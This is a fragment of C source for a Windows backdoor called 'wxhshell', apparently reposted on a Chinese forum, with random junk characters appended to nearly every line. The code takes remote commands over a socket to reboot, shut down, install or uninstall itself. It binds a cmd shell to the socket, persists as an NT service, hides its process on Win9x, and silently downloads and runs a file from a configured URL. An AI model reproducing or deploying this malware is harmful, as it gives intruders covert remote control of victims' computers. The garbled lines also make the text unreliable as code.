  D@W m-  
  // 帮助 ~MQN&  
  case '?': { V5A7w V3~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /Pf7=P  
    break; :Z+(H+lyZ  
  } \zoJr)  
  // 安装 SD697L9  
  case 'i': { <4>6k7W  
    if(Install()) =|G PSRQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :)MZgW  
    else \ tQi7yj4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a<HM|dcst  
    break; 4mPg; n  
    } w}2yi#E[  
  // 卸载  T  
  case 'r': { p<J/J.E  
    if(Uninstall()) 2s(K4~ee  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t Y^:C[  
    else ?pVODnP k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @cXY"hP`  
    break; )^r4|WYyt  
    } (d~'H{q  
  // 显示 wxhshell 所在路径 nGuF, 0j  
  case 'p': { t qER;L  
    char svExeFile[MAX_PATH]; ~E`l4'g?  
    strcpy(svExeFile,"\n\r"); GEvif4  
      strcat(svExeFile,ExeFile); BE m%x 0y  
        send(wsh,svExeFile,strlen(svExeFile),0); 2h/` RefHJ  
    break; sB"]R%`_  
    } HAU8H'h  
  // 重启 QX8N p{g-  
  case 'b': { Oi{jzP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F4:ssy^  
    if(Boot(REBOOT)) jy1*E3vQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lw Kr$X4  
    else { 5ax/jd~}  
    closesocket(wsh); V1Fdt+#  
    ExitThread(0); LOOv8'%O8  
    } )>?K:y8I~  
    break; j0OxR.S  
    } {X<tUco  
  // 关机 Karyipn}  
  case 'd': { .+8w\>w6g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E.BMm/WH  
    if(Boot(SHUTDOWN)) 3)`}#`T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  %RJW@~!  
    else { 6x.#K9@q4  
    closesocket(wsh); B,A/ -B\  
    ExitThread(0); ,iHl;3bu  
    } MbJV)*Q  
    break; 3L;)asF  
    } S3n$  
  // 获取shell K~Xt`  
  case 's': { iaR'):TD  
    CmdShell(wsh); rv\<Q-uQ8  
    closesocket(wsh); <vPIC G)  
    ExitThread(0); i|2Q}$3t2  
    break; w1.KRe{M  
  } 5jbd!t@L  
  // 退出 |D<~a(0  
  case 'x': { xvW+;3;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '\\J95*`  
    CloseIt(wsh); 0Uybh.dC  
    break; qUVV374N  
    } {=&pnu\  
  // 离开 ^6obxwVG  
  case 'q': { 0t<TZa]V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x2 tx{Z  
    closesocket(wsh); V-)q&cbW]q  
    WSACleanup(); iHR?]]RF  
    exit(1); WSh+5](:  
    break; qf'uXH  
        } J%%nv5y  
  } @(ev``L5g  
  } l3.HL> o  
2"2b\b}my  
  // 提示信息 =>ignoeI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NB LOcRSh  
} j]kx~  
  } UW40Y3W0  
"&>$/b$  
  return; f v}h;?C  
} <<[`;"CF  
] $Z aS\m  
// shell模块句柄 P=V~/,>SZ!  
int CmdShell(SOCKET sock) rs<UWk<q  
{ z m_mLk$4H  
STARTUPINFO si; `L0}^ |`9  
ZeroMemory(&si,sizeof(si)); }yXa1#3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k(V#{ YP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S3.Pqp_<  
PROCESS_INFORMATION ProcessInfo; #IgY'L  
char cmdline[]="cmd"; )5p0fw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w+[r$+z!k  
  return 0; I>fEwMk~  
} M$|^?U>cm  
02bv0  
// 自身启动模式 o-49o5:1  
int StartFromService(void) ?7(`2=J  
{ St'3e<  
typedef struct |wWBV{^  
{ J6=*F;x6E  
  DWORD ExitStatus; F~&bgl[YZ  
  DWORD PebBaseAddress; -3F|)qwK  
  DWORD AffinityMask; \z0"  
  DWORD BasePriority; !,|yrB&`S  
  ULONG UniqueProcessId; 8NA2C.gOZ  
  ULONG InheritedFromUniqueProcessId; )ASI 41  
}   PROCESS_BASIC_INFORMATION; \_0nH`  
t13wQ t  
PROCNTQSIP NtQueryInformationProcess; ax,%07hJ  
^ WidA-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CH!Lf,G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YY'46  
qMKXS,s  
  HANDLE             hProcess; Bv@NE2  
  PROCESS_BASIC_INFORMATION pbi; 1Hk`i%  
^~( @QfY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O~trv,?)  
  if(NULL == hInst ) return 0; -NHc~=m  
<`n T+c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j l%27Ld  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wxN'Lv=R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t4~Bn<=  
c?>@P  
  if (!NtQueryInformationProcess) return 0; / 9^:*,  
&Z#g/Hc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NRgNh5/  
  if(!hProcess) return 0; Xw_AZ-|1D  
~#pQWa5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hvwKhQ}wX  
Jvgx+{Xu  
  CloseHandle(hProcess); tg.[.v Ks  
Fzt{^%\`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p0>W}+8fF  
if(hProcess==NULL) return 0; <$qe2Ft Uq  
A )tGB&  
HMODULE hMod; 1 cvoI  
char procName[255]; r[ni{ &  
unsigned long cbNeeded; 9jBP|I{xI  
 MV'q_{J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aHuZzYQ*"j  
bXmX@A$#Io  
  CloseHandle(hProcess); a=]tqV_  
N7=lSBm  
if(strstr(procName,"services")) return 1; // 以服务启动 w|lA%H7`J  
MZZEqsD5[  
  return 0; // 注册表启动 l`>|XUf6  
} Nb(c;|nV  
j0_)DG  
// 主模块 CD]"Q1 t}  
int StartWxhshell(LPSTR lpCmdLine) U9[QdC  
{ PFq1Zai}n|  
  SOCKET wsl; iGlg@  
BOOL val=TRUE; :2ILN.&  
  int port=0; @Fvp~]jCb  
  struct sockaddr_in door; N`,ppj  
DP_ ]\V<sT  
  if(wscfg.ws_autoins) Install(); $F2 A  
?d&l_Pa0e  
port=atoi(lpCmdLine); <$metN~9j  
% 8u97f W  
if(port<=0) port=wscfg.ws_port; Ymt.>8L  
(_1(<Jw  
  WSADATA data; (#KSwWo{ed  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4AW-'W  
UNY O P{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =#L\fe)q)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v'=$K[_  
  door.sin_family = AF_INET; $S(<7[Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (q o ?e2K  
  door.sin_port = htons(port); ,yf2kU  
!p #m?|Km  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g6aIS^mU  
closesocket(wsl); wo>7^ZA  
return 1; ,58XLu  
} {8]Yqx)1]]  
Lp31Y . 4  
  if(listen(wsl,2) == INVALID_SOCKET) { )seeBm-`  
closesocket(wsl); Wz{,N07Q#{  
return 1; ^1`Mz<  
} u]0{#wu;g  
  Wxhshell(wsl); ]WFr5  
  WSACleanup(); Z#uxa  
~xPU#m<  
return 0; HV21=W  
KJ (|skO  
} =2XAQiUR\  
W2>VgMR [  
// 以NT服务方式启动 ZQ1,6<^9i[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )?y${T   
{ }jdMo83  
DWORD   status = 0; Y[sBVz'j5  
  DWORD   specificError = 0xfffffff; +-2W{lX  
'< =77yDg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )>"|<h.2]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tW-wO[2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " l;=jk]  
  serviceStatus.dwWin32ExitCode     = 0; tEuVn5  
  serviceStatus.dwServiceSpecificExitCode = 0; :Eb=jWA  
  serviceStatus.dwCheckPoint       = 0; s$g3__|Y  
  serviceStatus.dwWaitHint       = 0; p`qy57  
@V}!elV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +,c]FAx4  
  if (hServiceStatusHandle==0) return; MZd?cS  
LS:^K  
status = GetLastError(); F% < ZEVm  
  if (status!=NO_ERROR) 3le$0f:O  
{ GD-L0kw5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h[ cqa  
    serviceStatus.dwCheckPoint       = 0; yOTC>?p%  
    serviceStatus.dwWaitHint       = 0; D/)E[Fv+  
    serviceStatus.dwWin32ExitCode     = status; :@@aIFRv  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]621Z1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4$oDq  
    return; TTagZI$  
  } P(xgIMc H  
Se}&2 R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nPW=m`jG  
  serviceStatus.dwCheckPoint       = 0; qx5jaa3  
  serviceStatus.dwWaitHint       = 0; _s18^7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `(uN_zvH  
} J.(mg D  
<s=i5t My5  
// 处理NT服务事件,比如:启动、停止 DFMf" _p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %w#z   
{ [Smqe>U 1  
switch(fdwControl) fnJx$PD~  
{ {%Rntb  
case SERVICE_CONTROL_STOP: Cu! S|Xj.  
  serviceStatus.dwWin32ExitCode = 0; S'(IG m4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {ui{Yc  
  serviceStatus.dwCheckPoint   = 0; y9Pw'4R  
  serviceStatus.dwWaitHint     = 0; k 1l K`p  
  { J?Bj=b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cv5+[;(b  
  } $Sgq7  
  return; PO nF_FC  
case SERVICE_CONTROL_PAUSE: K%.t%)A_3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MK.TBv  
  break; FtW=Cc`hC_  
case SERVICE_CONTROL_CONTINUE: ;$vVYC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'YB{W8bR  
  break; |R;`  
case SERVICE_CONTROL_INTERROGATE: m1D,#=C,_  
  break; z2iWr  
}; ':|E$@$W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,`!>.E.  
} \E1CQP-  
=F% <W7  
// 标准应用程序主函数 1* ?XI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2)Q%lEm`SP  
{ ;TKsAU  
R8>17w.  
// 获取操作系统版本 X`C ozyYuD  
OsIsNt=GetOsVer(); ;w;+<Rd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $}EI3a  
>~O/ZDu/@  
  // 从命令行安装 /%F5u}eW  
  if(strpbrk(lpCmdLine,"iI")) Install(); p4uN+D `.U  
D}rnp wp{  
  // 下载执行文件 N C3XJ 4  
if(wscfg.ws_downexe) { A;TNR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qtjx<`EK>  
  WinExec(wscfg.ws_filenam,SW_HIDE); m 0]1(\%  
} FI@kE19  
-I:L6ft8  
if(!OsIsNt) { 6?'; ip  
// 如果时win9x,隐藏进程并且设置为注册表启动 8&:dzS  
HideProc(); <u  ImZC  
StartWxhshell(lpCmdLine); _D{{C  
} %_(^BZd  
else B A i ^t  
  if(StartFromService()) Lh-+i  
  // 以服务方式启动 Tdxc%'l  
  StartServiceCtrlDispatcher(DispatchTable); )`#SMLMy~  
else (g>&ov(d  
  // 普通方式启动 ll ^I ;o0  
  StartWxhshell(lpCmdLine); a|ZJzuqo  
v2ab84 C*  
return 0; L*6>S_l[  
}
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只看该作者 1 发表于: 2006-10-10
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